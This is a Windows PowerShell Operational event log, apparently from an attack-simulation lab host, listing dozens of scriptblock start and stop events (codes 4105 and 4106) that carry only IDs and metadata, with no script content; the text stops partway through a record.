09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026533
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026528
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026527
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026505
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026503
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026502
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
